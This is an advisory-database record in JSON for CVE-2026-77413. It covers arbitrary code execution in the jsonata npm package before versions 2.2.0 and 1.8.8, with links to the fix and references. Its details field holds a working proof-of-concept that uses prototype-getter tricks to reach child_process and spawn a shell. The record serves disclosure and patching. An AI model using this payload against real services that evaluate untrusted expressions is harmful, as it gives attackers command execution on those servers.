{"id":"CVE-2026-77413","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-77413","summary":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","details":"## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n   __lookupSetter__('__proto__')(constructor);\n   __defineGetter__('l', constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()\"));\n   valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```","published":"2026-08-21T20:57:07Z","modified":"2026-08-21T21:00:10.827561401Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"jsonata","fixedVersion":"1.8.8"},{"ecosystem":"npm","name":"jsonata","fixedVersion":"2.2.0"}],"fix":{"url":"https://github.com/jsonata-js/jsonata/pull/794","label":"jsonata-js/jsonata#794"},"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/794"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-21T21:00:10.827561401Z"}}